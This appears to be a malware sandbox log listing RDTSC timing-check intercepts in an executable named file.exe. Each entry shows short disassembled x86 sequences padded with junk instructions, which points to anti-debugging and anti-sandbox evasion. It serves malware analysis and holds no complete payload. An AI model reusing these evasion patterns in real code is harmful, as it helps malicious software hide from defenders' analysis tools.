Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: B87E0E second address: B87ED3 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007FF018B8719Dh 0x00000008 jmp 00007FF018B87197h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push eax 0x00000010 jc 00007FF018B8719Ch 0x00000016 ja 00007FF018B87196h 0x0000001c nop 0x0000001d push 00000000h 0x0000001f push ebp 0x00000020 call 00007FF018B87188h 0x00000025 pop ebp 0x00000026 mov dword ptr [esp+04h], ebp 0x0000002a add dword ptr [esp+04h], 0000001Bh 0x00000032 inc ebp 0x00000033 push ebp 0x00000034 ret 0x00000035 pop ebp 0x00000036 ret 0x00000037 jmp 00007FF018B8718Ah 0x0000003c push dword ptr fs:[00000000h] 0x00000043 push edx 0x00000044 mov edi, dword ptr [ebp+122D2E7Eh] 0x0000004a pop ebx 0x0000004b mov dword ptr fs:[00000000h], esp 0x00000052 mov dword ptr [ebp+1245CBA8h], eax 0x00000058 mov eax, dword ptr [ebp+122D125Dh] 0x0000005e mov edi, ecx 0x00000060 mov bx, si 0x00000063 push FFFFFFFFh 0x00000065 push 00000000h 0x00000067 push eax 0x00000068 call 00007FF018B87188h 0x0000006d pop eax 0x0000006e mov dword ptr [esp+04h], eax 0x00000072 add dword ptr [esp+04h], 0000001Dh 0x0000007a inc eax 0x0000007b push eax 0x0000007c ret 0x0000007d pop eax 0x0000007e ret 0x0000007f mov ebx, 1AFE0125h 0x00000084 push eax 0x00000085 push eax 0x00000086 push edx 0x00000087 push edi 0x00000088 push eax 0x00000089 push edx 0x0000008a rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: B87ED3 second address: B87ED8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: B8AFE3 second address: B8AFE7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: B8AFE7 second address: B8AFEE instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push ecx 0x00000004 pop ecx 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: B8CFC5 second address: B8CFCB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push esi 0x00000005 pop esi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: BA5A2E second address: BA5A32 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: BA5A32 second address: BA5A36 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: BA5BA2 second address: BA5BBC instructions: 0x00000000 rdtsc 0x00000002 js 00007FF018BAC396h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jmp 00007FF018BAC39Ah 0x0000000f popad 0x00000010 push eax 0x00000011 push edx 0x00000012 push edx 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: BA5BBC second address: BA5BC5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 push ecx 0x00000006 push esi 0x00000007 pop esi 0x00000008 pop ecx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: BA5D55 second address: BA5D5B instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: BA5D5B second address: BA5D93 instructions: 0x00000000 rdtsc 0x00000002 je 00007FF018B8719Ah 0x00000008 jmp 00007FF018B87194h 0x0000000d jmp 00007FF018B87193h 0x00000012 pop edx 0x00000013 pop eax 0x00000014 pushad 0x00000015 push eax 0x00000016 push edx 0x00000017 push esi 0x00000018 pop esi 0x00000019 pushad 0x0000001a popad 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: BABAAC second address: BABABC instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 push esi 0x00000005 pop esi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 jc 00007FF018BAC39Ch 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: B2A71A second address: B2A720 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: B2A720 second address: B2A725 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: B2A725 second address: B2A72F instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 push esi 0x00000004 pop esi 0x00000005 pop ecx 0x00000006 push eax 0x00000007 push edx 0x00000008 push esi 0x00000009 pop esi 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: BAA7BE second address: BAA7CA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push ecx 0x0000000b pop ecx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: BAA7CA second address: BAA7DC instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF018B8718Eh 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: BAA7DC second address: BAA7FF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop eax 0x00000007 pushad 0x00000008 jo 00007FF018BAC3A2h 0x0000000e jng 00007FF018BAC396h 0x00000014 jp 00007FF018BAC396h 0x0000001a pushad 0x0000001b jl 00007FF018BAC396h 0x00000021 push eax 0x00000022 push edx 0x00000023 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: BAA7FF second address: BAA808 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: BAA808 second address: BAA80E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: BAA80E second address: BAA812 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: BAA812 second address: BAA823 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jl 00007FF018BAC396h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pushad 0x0000000d push edx 0x0000000e pop edx 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: BAA9A4 second address: BAA9B4 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jo 00007FF018B8718Eh 0x0000000c pushad 0x0000000d popad 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: BAA9B4 second address: BAA9CF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 jmp 00007FF018BAC3A0h 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: BAA9CF second address: BAA9E4 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF018B87191h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: BAA9E4 second address: BAA9F5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FF018BAC39Dh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: BAB221 second address: BAB227 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: BAB227 second address: BAB22C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: BAB7EA second address: BAB7F4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jns 00007FF018B87186h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: B34790 second address: B3479C instructions: 0x00000000 rdtsc 0x00000002 jng 00007FF018BAC396h 0x00000008 push edx 0x00000009 pop edx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: B3479C second address: B347A2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: B347A2 second address: B347A6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: B347A6 second address: B347D5 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF018B87197h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007FF018B87190h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: BB00E7 second address: BB0104 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 jmp 00007FF018BAC3A6h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: BB0104 second address: BB010A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: BB0703 second address: BB0710 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 jc 00007FF018BAC39Ch 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: BB0710 second address: BB0714 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: BB08B6 second address: BB08BF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 pop eax 0x00000008 popad 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: BB0A4B second address: BB0A5E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jp 00007FF018B87186h 0x0000000a push ecx 0x0000000b pop ecx 0x0000000c popad 0x0000000d pop edi 0x0000000e push ecx 0x0000000f push eax 0x00000010 push edx 0x00000011 push esi 0x00000012 pop esi 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: BB0A5E second address: BB0A6B instructions: 0x00000000 rdtsc 0x00000002 jg 00007FF018BAC396h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push esi 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: BB0BBE second address: BB0BC3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: BB0BC3 second address: BB0BD6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 jmp 00007FF018BAC39Eh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: B37D19 second address: B37D58 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF018B87198h 0x00000007 push ecx 0x00000008 pop ecx 0x00000009 pop edx 0x0000000a pop eax 0x0000000b jp 00007FF018B87199h 0x00000011 jmp 00007FF018B87193h 0x00000016 jl 00007FF018B8718Ch 0x0000001c push eax 0x0000001d push edx 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: BBAE0E second address: BBAE13 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: BBAE13 second address: BBAE2E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007FF018B87190h 0x00000008 jc 00007FF018B87186h 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: BBD853 second address: BBD857 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: BBD857 second address: BBD864 instructions: 0x00000000 rdtsc 0x00000002 jnp 00007FF018B87186h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: BBD864 second address: BBD874 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 popad 0x00000006 jc 00007FF018BAC3C2h 0x0000000c push eax 0x0000000d push edx 0x0000000e push esi 0x0000000f pop esi 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: BBF653 second address: BBF658 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: BBF658 second address: BBF67B instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 jmp 00007FF018BAC39Bh 0x00000008 pushad 0x00000009 popad 0x0000000a pop ebx 0x0000000b pop edx 0x0000000c pop eax 0x0000000d push eax 0x0000000e push eax 0x0000000f push edx 0x00000010 jmp 00007FF018BAC39Bh 0x00000015 pushad 0x00000016 popad 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: BBF67B second address: BBF685 instructions: 0x00000000 rdtsc 0x00000002 jnc 00007FF018B87186h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: BC5ED7 second address: BC5EEB instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF018BAC39Fh 0x00000007 pushad 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: BC483E second address: BC485C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FF018B87197h 0x00000009 push edx 0x0000000a pop edx 0x0000000b popad 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: BC485C second address: BC4876 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FF018BAC3A6h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: BC4876 second address: BC487A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: BC487A second address: BC48CC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FF018BAC3A6h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pop edx 0x0000000c pop eax 0x0000000d pushad 0x0000000e jnp 00007FF018BAC398h 0x00000014 pushad 0x00000015 popad 0x00000016 push eax 0x00000017 push edx 0x00000018 jmp 00007FF018BAC3A0h 0x0000001d jmp 00007FF018BAC3A9h 0x00000022 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: BC4A6B second address: BC4A81 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF018B87191h 0x00000007 push edi 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: BC4A81 second address: BC4AB4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 pop edx 0x00000006 pop eax 0x00000007 pushad 0x00000008 push edx 0x00000009 push eax 0x0000000a pop eax 0x0000000b jnc 00007FF018BAC396h 0x00000011 pop edx 0x00000012 jmp 00007FF018BAC3A6h 0x00000017 pushad 0x00000018 push esi 0x00000019 pop esi 0x0000001a js 00007FF018BAC396h 0x00000020 push eax 0x00000021 push edx 0x00000022 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: BC4C0A second address: BC4C22 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jg 00007FF018B87186h 0x0000000a jl 00007FF018B87188h 0x00000010 push ecx 0x00000011 pop ecx 0x00000012 push eax 0x00000013 push edx 0x00000014 pushad 0x00000015 popad 0x00000016 pushad 0x00000017 popad 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: BC4C22 second address: BC4C28 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: BC4EE5 second address: BC4F03 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edx 0x00000004 pop edx 0x00000005 jmp 00007FF018B87197h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: B75987 second address: B7598C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: B7598C second address: B75992 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: B75992 second address: B75996 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: BC50A5 second address: BC50A9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: BC50A9 second address: BC50B3 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007FF018BAC396h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: BC50B3 second address: BC50B9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: BC50B9 second address: BC50BE instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: BC8DCC second address: BC8DD8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jns 00007FF018B87186h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: BC87DB second address: BC87EA instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 jc 00007FF018BAC396h 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: BC87EA second address: BC8809 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jbe 00007FF018B87186h 0x0000000a popad 0x0000000b jmp 00007FF018B87191h 0x00000010 push esi 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: BC8ADF second address: BC8AFB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 push eax 0x00000008 push eax 0x00000009 pop eax 0x0000000a jbe 00007FF018BAC396h 0x00000010 pop eax 0x00000011 popad 0x00000012 push eax 0x00000013 push edx 0x00000014 push edi 0x00000015 jbe 00007FF018BAC396h 0x0000001b pop edi 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: BC8AFB second address: BC8B14 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jbe 00007FF018B87186h 0x0000000a jmp 00007FF018B8718Fh 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: BCCBDC second address: BCCBE2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: BCCE90 second address: BCCE96 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: BCCE96 second address: BCCE9A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: BCCFEE second address: BCD00D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jc 00007FF018B87186h 0x0000000a pushad 0x0000000b popad 0x0000000c jmp 00007FF018B87192h 0x00000011 popad 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: BCD00D second address: BCD03C instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 push edx 0x00000004 pop edx 0x00000005 push ecx 0x00000006 pop ecx 0x00000007 pop esi 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b jmp 00007FF018BAC3A9h 0x00000010 pushad 0x00000011 pushad 0x00000012 popad 0x00000013 push ebx 0x00000014 pop ebx 0x00000015 pushad 0x00000016 popad 0x00000017 popad 0x00000018 pushad 0x00000019 push eax 0x0000001a push edx 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: BCD188 second address: BCD1AD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 ja 00007FF018B871A0h 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: BD39E9 second address: BD39ED instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: BD3FEF second address: BD3FF5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: BD3FF5 second address: BD3FFA instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: BD3FFA second address: BD4000 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: BD4000 second address: BD4008 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: BD4008 second address: BD401A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 ja 00007FF018B87186h 0x0000000a jnc 00007FF018B87186h 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: BD426A second address: BD426E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: BD4882 second address: BD4886 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: BD4886 second address: BD488C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: BD9E9C second address: BD9EA4 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: BDD101 second address: BDD105 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: BE4444 second address: BE444A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: BE444A second address: BE4450 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: BE4D6D second address: BE4D7C instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 jnp 00007FF018B87186h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: BE5943 second address: BE5957 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FF018BAC3A0h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: BE5957 second address: BE5980 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pushad 0x00000004 popad 0x00000005 jmp 00007FF018B8718Dh 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007FF018B87192h 0x00000012 push ecx 0x00000013 pop ecx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: BEDF8E second address: BEDF9D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 push edx 0x00000007 pop edx 0x00000008 pushad 0x00000009 popad 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e popad 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: BEDAF1 second address: BEDB0B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FF018B8718Bh 0x00000009 pushad 0x0000000a pushad 0x0000000b popad 0x0000000c jl 00007FF018B87186h 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
